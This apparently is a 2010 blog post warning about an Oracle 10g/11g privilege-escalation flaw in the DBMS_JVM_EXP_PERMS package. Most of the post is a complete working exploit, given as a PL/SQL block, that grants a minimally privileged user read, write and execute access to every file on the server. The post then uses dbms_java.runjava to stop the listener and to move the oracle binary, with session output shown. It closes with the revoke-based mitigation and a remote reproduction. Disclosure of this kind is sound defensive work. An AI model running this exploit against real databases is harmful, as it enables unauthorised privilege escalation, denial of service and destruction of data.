For those who are not yet aware, a very serious vulnerability has been made public for those who are working with Oracle 10g or higher. This vulnerability allows a user with the minimum privilege to create a session to have unrestricted access to the files on the server on which the Oracle database is running.
If you want to know what we are dealing with, below I show you how easy it is to gain these privileges, and how damaging it can be in unscrupulous hands.
Becoming all-powerful
1. First let’s prepare the environment, create a user and let him create sessions.
[oracle@rhel ~]$ sqlplus / as sysdba
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
SYS@orcl> create user test identified by test;
User created.
SYS@orcl> grant create session to test;
Grant succeeded.
2. Now it is a matter of executing the following code.
[oracle@rhel ~]$ sqlplus test/test
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
TEST@orcl> DECLARE
2 dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
3 CURSOR c_dummy IS
4 SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
5 '<<ALL FILES>>', 'execute', 'ENABLED'
6 FROM dual;
7 BEGIN
8 OPEN c_dummy;
9 FETCH c_dummy BULK COLLECT INTO dummy;
10 CLOSE c_dummy;
11 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
12 END;
13 /
PL/SQL procedure successfully completed.
TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production
3. Thanks to the package DBMS_JVM_EXP_PERMS, which has execution permissions for PUBLIC, has managed to gain unrestricted access to the files, both read, write and execute. Again our Java friends getting us into trouble, hahaha, but joking aside, let’s start with a relatively benign attack such as stopping the listener, which would be a relatively simple form of what is known as a DoS (Denial of Service) attack.
[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
oracle 7505 1 0 17:45 ? 00:00:00 /u01/app/oracle/11.1.0/db_1/bin/tnslsnr LISTENER -inherit
[oracle@rhel ~]$ sqlplus test/test
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:50:29 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
TEST@orcl > select dbms_java.runjava('oracle/aurora/util/Wrapper /u01/app/oracle/11.1.0/db_1/bin/lsnrctl stop') from dual;
DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/U01/APP/ORACLE/11.1.0/DB_1/BIN/LSNRCTLSTOP')
----------------------------------------------------------------------------------------------------
TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production
[oracle@rhel ~]$ ps -ef | grep tns | grep -v grep
[oracle@rhel ~]$
This action prevents the creation of new sessions as there is no listener to create them, which in practice means that the database has become partially operational.
4. Of course you can do worse things; let’s see now a much more destructive action, we will move the oracle executable but it could well be its elimination or that of the entire directory in which Oracle is installed, the datafiles, etc., there are no limits to the damage that can be caused!!!!
[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb 2 17:43 /u01/app/oracle/11.1.0/db_1/bin/oracle
[oracle@rhel ~]$ sqlplus test/test
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:58:45 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
TEST@orcl> select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /u01/app/oracle/11.1.0/db_1/bin/oracle /tmp/.') from dual;
DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPPER/BIN/MV/U01/APP/ORACLE/11.1.0/DB_1/BIN/ORACLE/TMP/.')
----------------------------------------------------------------------------------------------------
TEST@orcl > exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - Production
[oracle@rhel ~]$ ls -la /u01/app/oracle/11.1.0/db_1/bin/oracle
ls: /u01/app/oracle/11.1.0/db_1/bin/oracle: No such file or directory
[oracle@rhel ~]$ ls -la /tmp/oracle
-rwsr-s--x 1 oracle dba 149249171 Feb 2 17:43 /tmp/oracle
If we had any doubts, by now I think we are convinced that we are facing a very serious problem. What to do? For the moment there is no alternative but to remove public execution privileges from the package DBMS_JVM_EXP_PERMS, which would prevent obtaining broad privileges by invoking it.
[oracle@rhel ~]$ sqlplus / as sysdba
SQL*Plus: Release 11.1.0.7.0 - Production on Sat Feb 6 17:47:36 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - Production
SYS@orcl> revoke execute on DBMS_JVM_EXP_PERMS from public;
Revoke succeeded.
SYS@orcl> connect test/test
Connected.
TEST@orcl> DECLARE
2 dummy DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
3 CURSOR c_dummy IS
4 SELECT 'GRANT', USER(), 'SYS', 'java.io.FilePermission',
5 '<<ALL FILES>>', 'execute', 'ENABLED'
6 FROM dual;
7 BEGIN
8 OPEN c_dummy;
9 FETCH c_dummy BULK COLLECT INTO dummy;
10 CLOSE c_dummy;
11 DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS( dummy );
12 END;
13 /
ERROR at line 2:
ORA-06550: line 2, column 13:
PLS-00201: identifier 'DBMS_JVM_EXP_PERMS' must be declared
ORA-06550: line 2, column 13:
PL/SQL: Item ignored
ORA-06550: line 9, column 39:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 9, column 7:
PL/SQL: SQL Statement ignored
ORA-06550: line 11, column 43:
PLS-00320: the declaration of the type of this expression is incomplete or malformed
ORA-06550: line 11, column 6:
PL/SQL: Statement ignored
Update
My good friend Ronald Vargas comments in a recent post: “…the security issues referred to in Enrique’s post, in order to be exploited, the user must have operating system level access to the SQL*Plus tool on the server, since executing a command requires administrative privileges, which you cannot access unless you are logged in locally, either on the server console or through a Windows or Linux graphical environment utility or emulator, or a remote terminal access utility….”. Ronald concludes his Post with: “…So as I said at the beginning, ‘don’t panic’, there is not much to be alarmed about….”
In this regard, Ronald would be taking as a reference what is indicated in The H Security, but at least in my personal tests it has not been necessary to be directly connected to the database server to exploit this problem, I managed to reproduce it remotely connected from a Windows Vista workstation using an Oracle 11.1.0.7 client and a user that only has the create session privilege:
Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb 9 09:26 /home/oracle/afiedt.buf
Windows
C:\Windows\system32>sqlplus test/test@orcl
SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 10 10:50:56 2010
Copyright (c) 1982, 2008, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Release 11.1.0.7.0 - 64bit Production
TEST@orcl> select dbms_java.runjava('oracle/aurora/util/Wrapper /bin/mv /home/oracle/afiedt.buf /home/oracle/afiedt.BUF') from dual;
DBMS_JAVA.RUNJAVA('ORACLE/AURORA/UTIL/WRAPP
-------------------------------------------
TEST@orcl> exit
Disconnected from Oracle Database 11g Release 11.1.0.7.0 - 64bit Production
Linux:
[oracle@rhel ~]$ ls -l /home/oracle
-rw-r--r-- 1 oracle oinstall 45 Feb 9 09:26 /home/oracle/afiedt.BUF
So the danger is still real and its exploitation quite simple, take your precautions!